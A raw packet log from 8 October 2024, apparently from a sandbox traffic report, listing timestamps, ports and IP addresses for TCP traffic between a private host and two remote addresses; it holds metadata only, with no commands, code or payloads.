Oct 8, 2024 20:52:27.310210943 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.310296059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.310765982 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.310777903 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.310790062 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.311316967 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.311443090 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.311634064 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.311645985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.311669111 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.311731100 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.311736107 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.311748981 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.311836958 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.312941074 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.313060999 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.313072920 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.313129902 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.313143015 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.313157082 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.313693047 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.316271067 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.316287994 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.316304922 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.316905975 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.316919088 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.316936970 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.318630934 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.320112944 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.320126057 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.320137024 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.325450897 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.325464964 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.325476885 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.325581074 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.325592995 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.327851057 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.329762936 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.329802036 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.329813004 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.330315113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.330387115 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.330403090 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.332425117 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.332659006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.332884073 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.332938910 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.334819078 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.334831953 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.334847927 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.339680910 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.339695930 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.339709997 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.340029001 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.340040922 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.340051889 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.340794086 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.340877056 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.341054916 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.342021942 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.342035055 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.342047930 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.344896078 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.344907999 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.344928026 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.352457047 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.352469921 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.352483034 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.352576971 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.352591038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.352602959 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.352840900 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.353292942 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.353355885 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.353367090 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.354043007 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.354260921 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.354274035 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.354285955 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.354319096 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.355408907 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.355420113 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.355432987 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.355484009 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.355511904 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.356936932 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.356950998 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.356961966 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.358818054 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.358829975 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.358843088 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.358881950 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.360735893 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.360945940 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.361016989 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.361027956 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.362428904 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.362441063 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.362452984 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.362466097 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.365113974 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.365196943 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.365207911 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.365225077 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.366326094 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.366882086 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.366946936 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.389389038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.389420033 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.389434099 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.390396118 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.390732050 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.390743971 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.390758038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.391187906 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.391351938 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.391484022 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.391494989 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.391937971 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.391951084 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.391963005 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.393104076 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.393117905 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.393131018 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.393347979 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.393361092 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.393372059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.393731117 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.393743992 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.393758059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.394057989 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.394072056 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.394083977 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.394515991 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.394529104 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.394541979 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.395447969 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.395461082 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.395473957 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.395909071 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.395920038 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.395934105 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.395956039 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.395967007 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.395981073 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.396181107 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.396265030 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.396424055 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.396477938 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.403409958 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.403759956 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.403893948 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.403893948 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.403959990 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.444279909 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.454596996 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.454659939 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.455045938 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.455070972 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.536087990 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.542252064 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.542315006 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.542716980 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.542737961 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.551965952 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.552026987 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.557002068 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.558132887 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.558132887 CEST	49861	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.558170080 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.558186054 CEST	443	49861	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.566003084 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.566040039 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.566489935 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.566781998 CEST	49869	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.566797972 CEST	443	49869	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.585606098 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.586009026 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.586025953 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.586431026 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.586436987 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.631773949 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.631870031 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.631884098 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.631896019 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.631908894 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.631922007 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632165909 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632241964 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632402897 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632415056 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632426023 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632438898 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632802010 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632822037 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632834911 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632863998 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632883072 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632894039 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632908106 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632920027 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632925987 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632936954 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632949114 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.632965088 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.635416031 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.635565042 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.635725975 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.635739088 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.635751009 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.635763884 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.636662006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.636833906 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.636845112 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.636857986 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.636869907 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.636985064 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.637579918 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.637590885 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.637603045 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.637615919 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.637629032 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.637646914 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.637912035 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.637927055 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.637945890 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.638394117 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.638413906 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.638433933 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.638709068 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.638972998 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.638983965 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.639002085 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.639019012 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.639111042 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.639269114 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.639287949 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.639328957 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.639596939 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.639677048 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.639976978 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.639983892 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.640033960 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.640363932 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.640655994 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.644005060 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.644397020 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.644994020 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.645060062 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.645060062 CEST	49862	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.645087957 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.645112991 CEST	443	49862	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.645507097 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.645526886 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.645545006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.645628929 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.645665884 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.645682096 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.645699024 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.645961046 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.645967960 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.645987988 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.646001101 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.646013021 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.646023989 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.646037102 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.646173000 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.647116899 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647134066 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647149086 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647165060 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647181034 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647198915 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647263050 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647294044 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647310972 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647325039 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647340059 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647355080 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647367954 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647380114 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647402048 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647413969 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647427082 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647439957 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.647454977 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648233891 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648247004 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648258924 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648351908 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648367882 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648372889 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.648380995 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648392916 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648407936 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648411989 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.648420095 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648433924 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.648464918 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648478985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.648773909 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.649009943 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.649038076 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.649220943 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.649235964 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.649250984 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.649265051 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.649280071 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.649295092 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.649307966 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.649317026 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.649319887 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.649353027 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:27.649466991 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:27.649621010 CEST	49870	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.649638891 CEST	443	49870	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.656619072 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.656984091 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.657004118 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.657701969 CEST	49863	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.657706976 CEST	443	49863	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.687838078 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.687868118 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.687916040 CEST	443	49864	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:27.688592911 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.689426899 CEST	49864	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:27.689426899 CEST	49864	443	192.168.2.9	13.107.246.45
